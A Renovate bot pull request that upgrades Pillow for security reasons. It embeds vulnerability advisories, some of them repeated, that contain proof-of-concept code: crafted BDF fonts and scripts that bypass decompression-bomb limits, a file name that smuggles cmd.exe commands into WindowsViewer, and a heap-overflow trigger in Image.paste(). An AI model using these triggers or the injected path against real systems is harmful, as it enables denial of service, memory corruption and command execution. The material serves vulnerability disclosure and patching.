Skip to content

chore(deps): update dependency pillow to v12.3.0 [security]#2574

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pillow-vulnerability
Open

chore(deps): update dependency pillow to v12.3.0 [security]#2574
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/pypi-pillow-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Apr 16, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
pillow (changelog) 12.1.112.3.0 age adoption passing confidence

Pillow has a heap buffer overflow with nested list coordinates

BIT-pillow-2026-42309 / CVE-2026-42309 / GHSA-5xmw-vc9v-4wf2 / PYSEC-2026-2251

More information

Details

Passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)

BIT-pillow-2026-42311 / CVE-2026-42311 / GHSA-pwv6-vv43-88gr / PYSEC-2026-2252

More information

Details

Impact

Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.

Patches

Patched version: 12.2.0

Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.

Workarounds

Use any version but affected versions: >= 10.3.0, < 12.2.0

Resources

Severity

  • CVSS Score: 8.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

BIT-pillow-2026-42310 / CVE-2026-42310 / GHSA-r73j-pqj5-w3x7 / PYSEC-2026-2874

More information

Details

Impact

An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.

Patches

Patched version: 12.2.0.

PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.

Workarounds

Use any version but the affected versions: >= 4.2.0, < 12.2.0

Resources

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


FITS GZIP decompression bomb in Pillow

BIT-pillow-2026-40192 / CVE-2026-40192 / GHSA-whj4-6x5x-4v2j / PYSEC-2026-2250

More information

Details

Impact

Pillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).

Patches

The amount of data read is now limited to the necessary amount.
Fixed in Pillow 12.2.0 (PR #​9521).

Workarounds

Avoid Pillow >= 10.3.0, < 12.2.0
Only open specific image formats, excluding FITS.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow has an integer overflow when processing fonts

BIT-pillow-2026-42308 / CVE-2026-42308 / GHSA-wjx4-4jcj-g98j / PYSEC-2026-165

More information

Details

If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


BIT-pillow-2026-42308 / CVE-2026-42308 / GHSA-wjx4-4jcj-g98j / PYSEC-2026-165

More information

Details

Pillow is a Python imaging library. Prior to version 12.2.0, if a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This issue has been patched in version 12.2.0.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-40192 / CVE-2026-40192 / GHSA-whj4-6x5x-4v2j / PYSEC-2026-2250

More information

Details

Pillow is a Python imaging library. Versions 10.3.0 through 12.1.1 did not limit the amount of GZIP-compressed data read when decoding a FITS image, making them vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). If users are unable to immediately upgrade, they should only open specific image formats, excluding FITS, as a workaround.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-42309 / CVE-2026-42309 / GHSA-5xmw-vc9v-4wf2 / PYSEC-2026-2251

More information

Details

Pillow is a Python imaging library. From version 11.2.1 to before version 12.2.0, passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This issue has been patched in version 12.2.0.

Severity

  • CVSS Score: 5.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


BIT-pillow-2026-42311 / CVE-2026-42311 / GHSA-pwv6-vv43-88gr / PYSEC-2026-2252

More information

Details

Pillow is a Python imaging library. From version 10.3.0 to before version 12.2.0, processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. This issue has been patched in version 12.2.0.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow has a PDF Parsing Trailer Infinite Loop (DoS)

BIT-pillow-2026-42310 / CVE-2026-42310 / GHSA-r73j-pqj5-w3x7 / PYSEC-2026-2874

More information

Details

Impact

An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.

Patches

Patched version: 12.2.0.

PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.

Workarounds

Use any version but the affected versions: >= 4.2.0, < 12.2.0

Resources

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


Pillow BdfFontFile: Image.new() called without _decompression_bomb_check() — bomb protection bypass via font loading

BIT-pillow-2026-55379 / CVE-2026-55379 / GHSA-45hq-cxwh-f6vc / PYSEC-2026-2255

More information

Details

Summary

PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.

Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.

Vulnerable code (PIL/BdfFontFile.py lines 84–88):

##### width, height from attacker-controlled "BBX width height x y" line
try:
    im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
    # TRIGGERED when BITMAP section is empty (zero hex lines)
    im = Image.new("1", (width, height))   # ← NO _decompression_bomb_check()!
    # ^ This image is stored in self.glyph[ch] — persists in memory

Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.

Steps to reproduce

Minimal malicious BDF file (270 bytes):

STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT

Proof of Concept script:

#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")

from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError

W, H = 20000, 20000   # 400M pixels → above DecompressionBombError threshold

##### Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
    _decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
    print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")

##### Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()

print(f"[*] BDF file size  : {len(bdf)} bytes")
print(f"[*] Glyph size     : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target  : {W*H//8//1024**2} MB  (mode '1' = 1 bit/pixel)")

BdfFontFile(io.BytesIO(bdf))   # No exception — bomb check bypassed!

print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f"    Image.open() path would have raised DecompressionBombError")

Expected output:

[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size  : 270 bytes
[*] Glyph size     : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target  : 47 MB  (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
    Image.open() path would have raised DecompressionBombError

Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.

Impact
  • Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs
  • Confidentiality: None
  • Integrity: None
  • Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected
  • Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

BIT-pillow-2026-55798 / CVE-2026-55798 / GHSA-4x4j-2g7c-83w6 / PYSEC-2026-2257

More information

Details

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File: src/PIL/ImageShow.py, lines 133–150

class WindowsViewer(Viewer):
    format = "PNG"
    options = {"compress_level": 1, "save_all": True}

    def get_command(self, file: str, **options: Any) -> str:
        return (
            f'start "Pillow" /WAIT "{file}" '    # ← f-string, no escaping
            "&& ping -n 4 127.0.0.1 >NUL "
            f'&& del /f "{file}"'                # ← same path, unescaped again
        )

    def show_file(self, path: str, **options: Any) -> int:
        if not os.path.exists(path):
            raise FileNotFoundError
        subprocess.Popen(
            self.get_command(path, **options),
            shell=True,                          # ← shell=True
            creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
        )  # nosec                               # ← Bandit warning suppressed manually
        return 1

Contrast with macOS — SAFE (line 164–168):

class MacViewer(Viewer):
    def get_command(self, file: str, **options: Any) -> str:
        command = "open -a Preview.app"
        command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
        return command                           # ← shlex.quote() applied

Cross-platform summary:

Platform Class shlex.quote()? shell=True? Safe?
macOS MacViewer Yes (line 168) No (list args) ✅ Yes
Linux UnixViewer Yes (line 207) No (list args) ✅ Yes
Windows WindowsViewer No (line 134–137) Yes (line 148) ❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)

##### Output:
##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...

##### ┌─ start "Pillow" /WAIT "C:\Temp\evil"   → fails (file not found)
##### ├─ & echo PWNED                           → INJECTED COMMAND

##### └─ & echo ""  && ping ...                → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

import os, tempfile
from PIL.ImageShow import WindowsViewer

viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker  = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")

##### Craft injection: payload writes a marker file (harmless)
payload   = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')

##### Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)

##### Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)

assert os.path.exists(marker)                          # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read()          # PASSES

##### → CONFIRMED: arbitrary command injection via get_command()

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: FontFile.compile(): Image.new() called without _decompression_bomb_check()

BIT-pillow-2026-54060 / CVE-2026-54060 / GHSA-5x94-69rx-g8h2 / PYSEC-2026-2254

More information

Details

Description

PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.

Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.register_open(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.

Vulnerable code (PIL/FontFile.py lines ~64–92):

def compile(self) -> None:
    if self.bitmap:
        return

    h = w = maxwidth = 0
    lines = 1
    for glyph in self.glyph:              # up to 256 glyph slots
        if glyph:
            d, dst, src, im = glyph
            h = max(h, src[3] - src[1])   # max glyph height — attacker-controlled
            w = w + (src[2] - src[0])
            if w > WIDTH:                  # WIDTH = 800
                lines += 1
                w = src[2] - src[0]
            maxwidth = max(maxwidth, w)

    xsize = maxwidth                       # ≤ 800 (capped by WIDTH constant)
    ysize = lines * h                      # ← lines(256) × h(65535) = 16,776,960

    if xsize == 0 and ysize == 0:
        return

    self.ysize = h
    # NO _decompression_bomb_check() here ←
    self.bitmap = Image.new("1", (xsize, ysize))   # ← unchecked allocation

"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:

Metric Per-glyph (800 × 875) Combined bitmap (256 glyphs)
Pixel count 700,000 179,200,000
DecompressionBombWarning threshold (89.4M) 0.008× — no warning 2.0× — above warning
DecompressionBombError threshold (178.9M) 0.004× — no error 1.001× — above error

With PCF-maximum glyph height (65,535):

Metric Value
lines 256 (one per glyph slot, width=800 forces a wrap every glyph)
h (max glyph height) 65,535
xsize 800
ysize = lines × h 256 × 65,535 = 16,776,960
Total pixels 800 × 16,776,960 = 13,421,568,000
Ratio vs. DecompressionBombError threshold 75×
Memory (mode "1", 1 bit/pixel) ~1.6 GB
Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3
"""
PoC: FontFile.compile() bomb bypass
256 glyphs at 800x875 each (individually below warning threshold)
→ compile() creates 800x224000 = 179.2M px bitmap with NO bomb check
"""
from PIL import FontFile, Image

MAX_GLYPHS = 256
GLYPH_W    = 800
GLYPH_H    = 875     # individual: 700K px — below 89.4M warning threshold

class MockFont(FontFile.FontFile):
    def __init__(self):
        super().__init__()
        # Each glyph is individually safe (700K px < 89.4M warning)
        im = Image.new("1", (GLYPH_W, GLYPH_H))
        for i in range(MAX_GLYPHS):
            self.glyph[i] = (
                (GLYPH_W, GLYPH_H),
                (0, -GLYPH_H, GLYPH_W, 0),
                (0, 0,        GLYPH_W, GLYPH_H),
                im,
            )

##### Confirm bomb check WOULD catch the combined size
combined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)
try:
    Image._decompression_bomb_check(combined_size)
    print("[FAIL] bomb check did not raise — unexpected")
except Image.DecompressionBombError as e:
    print(f"[OK] bomb check WOULD block {combined_size}: {e}")

##### Vulnerable path: compile() has NO bomb check
font = MockFont()
font.compile()   # → Image.new("1", (800, 224000)) — no error raised

px = font.bitmap.size[0] * font.bitmap.size[1]
threshold = Image.MAX_IMAGE_PIXELS * 2
print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}")
print(f"         pixels={px:,}  ({px/threshold:.3f}× DecompressionBombError threshold)")
print(f"         No DecompressionBombError raised at any point.")

Expected output:

[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit
of 178956970 pixels, could be decompression bomb DOS attack.
[BYPASS] compile() succeeded: bitmap=(800, 224000)
         pixels=179,200,000  (1.001× DecompressionBombError threshold)
         No DecompressionBombError raised at any point.

Verified live on Pillow 12.2.0 — compile() succeeds with no exception.

Real-world trigger using BDF font file:

from PIL import BdfFontFile
import io

##### Load a crafted BDF font with 256 glyphs each claiming height=65535

##### (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)
##### compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold
font = BdfFontFile.BdfFontFile(open("crafted_256glyph.bdf", "rb"))
font.to_imagefont()   # → compile() → ~1.6 GB allocation, NO bomb check

Attack scenarios:

Scenario Effect
Web font preview (BdfFontFile(upload).to_imagefont()) DoS with crafted .bdf upload
Server-side font renderer that loads PCF → to_imagefont() OOM crash
Font pipeline: load → render text One malicious font file kills the process
Impact
  • Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × max_glyph_height with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.
  • Confidentiality: None
  • Integrity: None

Affected call paths:

  • BdfFontFile.BdfFontFile(fp).to_imagefont()FontFile.compile()
  • BdfFontFile.BdfFontFile(fp).save(filename)FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).to_imagefont()FontFile.compile()
  • PcfFontFile.PcfFontFile(fp).save(filename)FontFile.compile()

Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files)

BIT-pillow-2026-54058 / CVE-2026-54058 / GHSA-62p4-gmf7-7g93 / PYSEC-2026-3493

More information

Details

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image._MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImaging_MapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysize*stride <= buffer_len but never checks that stride is at least the natural row width xsize * pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsize*pixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(),
getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile._open - turns attacker header words into image size, file offset, and row stride with no validation.

##### src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256:        # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
    raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)]   # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1:
    mode = rawmode = "L"                    # pixelsize 1, in _MAPMODES
elif w[11] == 2:
    mode = rawmode = "I;16B"                # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9]                    # (xsize, ysize)  <-- attacker
offset = w[34] + w[15]                       # <-- attacker
stride = w[15] + w[10] * w[11] * w[14]       # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
    ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to map_buffer.

##### src/PIL/ImageFile.py:322-348
if use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1
    decoder_name, extents, offset, args = self.tile[0]
    if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
            and args[0] == self.mode and args[0] in Image._MAPMODES):
        if offset < 0:                       # only lower-bound guard on offset
            raise ValueError("Tile offset cannot be negative")
        with open(self.filename) as fp:
            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
        if offset + self.size[1] * args[1] > self.map.size():   # == offset + ysize*stride; NO stride>=linesize check
            raise OSError("buffer is not large enough")
        self.im = Image.core.map_buffer(
            self.map, self.size, decoder_name, offset, args      # args = ("L", stride, 1)
        )

Step 3: PyImaging_MapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
        &target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
    return NULL;
...
const ModeID mode = findModeID(mode_name);          /* "L" */

if (stride <= 0) {                                  /* attacker sets stride=1 (>0) -> NOT recomputed */
    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
    else if (isModeI16(mode)) stride = xsize * 2;
    else stride = xsize * 4;
}

if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
    PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */

if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) {                     /* 1 + 1 = 2 <= 256 -> PASSES */
    PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
    PyBuffer_Release(&view); return NULL;
}

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000  (the REAL per-row read width) */

/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
    for (y = 0; y < ysize; y++) {
        im->image[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */
    }
} else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize * pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysize*stride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
Chain Summary
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)
  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -> attacker sets stride=1   [McIdasImagePlugin.py:66]
  ↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1))                                     [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len  <- BUG: no stride>=linesize check  [ImageFile.py:343]
  ↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1))                              [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]
  ↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
Proof of Concept

See attached poc.zip

Impact on a Parent Application

Any application that opens image files supplied by users from a path on disk (the common pattern: save upload to a temp file, then Image.open(path)), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:

  • Information disclosure (High): the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
  • Denial of service (High): a larger xsize reliably crashes the worker with SIGBUS.
Suggested fix

Core fix in src/map.c (PyImaging_MapBuffer): reject offset < 0 and stride < im->linesize. Defense-in-depth in McIdasImagePlugin._open: reject offset < 0 or stride < xsize*pixelsize .

Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap out-of-bounds write Image.paste() / Image.crop() via signed coordinate overflow

BIT-pillow-2026-59199 / CVE-2026-59199 / GHSA-6r8x-57c9-28j4 / PYSEC-2026-3451

More information

Details

Summary

Pillow's public image coordinate APIs can trigger a native heap out-of-bounds
write when given coordinates near the signed 32-bit integer limits. In 4-byte
pixel modes such as RGBA, this becomes a controlled backward heap underwrite:
for a source image of width W, Pillow writes 4 * W attacker-controlled bytes
starting 4 * W bytes before the destination row pointer. With successful large
image allocation, the theoretical upper bound is ~2 GiB backwards from
the destination row.

Minimal public API trigger:

from PIL import Image

INT_MIN = -(1 << 31)

src = Image.new("RGBA", (2, 1), (0x41, 0x42, 0x43, 0x44))
dst = Image.new("RGBA", (8, 1))
dst.paste(src, ((1 << 31) - 2, 0, INT_MIN, 1))

The same root cause is also reachable through Image.crop() and
Image.alpha_composite(). No private API, ctypes, custom Python object, or
malformed image file is needed.

This has been confirmed as an ASAN heap-buffer-overflow write. On normal
non-ASAN Pillow builds, the minimal trigger corrupts the heap and aborts with
double free or corruption (out)

Details

src/PIL/Image.py:paste() accepts a 4-tuple box and passes it to the native
ImagingCore.paste() method:

self.im.paste(source, box)

src/_imaging.c:_paste() parses the four Python coordinates into signed int
values and calls ImagingPaste():

int x0, y0, x1, y1;
PyArg_ParseTuple(args, "O(iiii)|O!", &source, &x0, &y0, &x1, &y1, ...);
status = ImagingPaste(self->image, PyImaging_AsImaging(source), ..., x0, y0, x1, y1);

src/libImaging/Paste.c:ImagingPaste() computes and clips the region using
signed int arithmetic:

xsize = dx1 - dx0;
ysize = dy1 - dy0;

if (dx0 + xsize > imOut->xsize) {
    xsize = imOut->xsize - dx0;
}

With dx0 = 2147483646 and dx1 = -2147483648, dx1 - dx0 wraps to 2.
That matches the 2-pixel source image, so the size check passes. The later
dx0 + xsize clip check wraps around and does not reject the out-of-bounds
destination.

For 4-byte pixel modes such as RGBA, the paste loop then multiplies dx by
pixelsize:

dx *= pixelsize;
xsize *= pixelsize;
memcpy(imOut->image[y + dy] + dx, imIn->image[y + sy] + sx, xsize);

For the minimal PoC, this writes 8 attacker-controlled bytes 8 bytes before the
destination row allocation.

The primitive scales with the attacker-controlled source width:

source width = W
box = ((1 << 31) - W, 0, INT_MIN, 1)

C destination offset = -4 * W
C memcpy size        =  4 * W
write range          = [row_start - 4W, row_start)

Examples for RGBA:

W = 2         -> writes 8 bytes before the row
